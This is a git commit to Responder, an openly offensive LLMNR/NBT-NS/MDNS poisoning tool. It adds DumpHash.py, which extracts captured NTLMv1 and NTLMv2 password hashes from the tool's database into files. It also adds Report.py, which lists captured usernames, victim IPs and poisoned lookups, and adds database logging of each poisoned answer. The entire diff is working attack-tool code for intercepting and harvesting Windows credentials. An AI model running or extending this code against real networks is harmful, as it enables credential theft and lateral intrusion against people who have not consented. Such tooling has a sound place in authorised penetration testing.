Added: Hashdump, Stats report

This commit is contained in:
lgandx 2017-02-18 20:38:40 +01:00
parent 0642999741
commit 21d48be98f
9 changed files with 222 additions and 13 deletions

49
DumpHash.py Executable file
View file

@ -0,0 +1,49 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
def DumpHashToFile(outfile, data):
with open(outfile,"w") as dump:
dump.write(data)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()
print "Dumping NTLMV2 hashes:"
v2 = GetResponderCompleteNTLMv2Hash(cursor)
DumpHashToFile("DumpNTLMv2.txt", v2)
print v2
print "\nDumping NTLMv1 hashes:"
v1 = GetResponderCompleteNTLMv1Hash(cursor)
DumpHashToFile("DumpNTLMv1.txt", v1)
print v1

95
Report.py Executable file
View file

@ -0,0 +1,95 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sqlite3
import os
def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt)
if os.name == 'nt': # No colors for windows...
return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
for row in res.fetchall():
print('User account: {0}'.format(row[0]))
def GetResponderUsernamesWithDetails(cursor):
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
for row in res.fetchall():
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
def GetResponderCompleteHash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
if not k in result:
result[k] = ''
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result:
result[k] = ''
cursor = DbConnect()
print color("[+] Generating report...", code = 3, modifier = 1)
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
GetResponderUsernames(cursor)
print color("\n[+] Username details:", code = 2, modifier = 1)
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)

View file

@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
#Create the DB, before we start Responder.
CreateResponderDb()
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
@ -231,7 +234,7 @@ def main():
# Load Browser Listener # Load Browser Listener
from servers.Browser import Browser from servers.Browser import Browser
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off: if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP from servers.HTTP import HTTP

View file

@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate() Buffer.calculate()
soc.sendto(str(Buffer), self.client_address) soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]" LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View file

@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
if Parse_IPV6_Addr(data): if Parse_IPV6_Addr(data):
@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
soc.sendto(str(Buffer), (MADDR, MPORT)) soc.sendto(str(Buffer), (MADDR, MPORT))
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

View file

@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" LineHeader = "[Analyze mode: NBT-NS]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode else: # Poisoning Mode
Buffer = NBT_Ans() Buffer = NBT_Ans()
Buffer.calculate(data) Buffer.calculate(data)
@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None: if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))

View file

@ -20,7 +20,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 2.3.3.2' __version__ = 'Responder 2.3.3.4'
class Settings: class Settings:
@ -229,6 +229,9 @@ class Settings:
try: try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"]) NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except:
try:
NetworkCard = subprocess.check_output(["ip", "address", "show"])
except subprocess.CalledProcessError as ex: except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex NetworkCard = "Error fetching Network Interfaces:", ex
pass pass
@ -239,6 +242,9 @@ class Settings:
pass pass
try: try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"]) RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
try:
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
except subprocess.CalledProcessError as ex: except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex RoutingInfo = "Error fetching Routing information:", ex
pass pass

View file

@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump: with open(outfile,"a") as dump:
dump.write(data + '\n') dump.write(data + '\n')
def SaveToDb(result): def CreateResponderDb():
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile): if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
@ -222,6 +225,23 @@ def SaveToDb(result):
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c": if data[len(data)-4:len(data)][1] =="\x1c":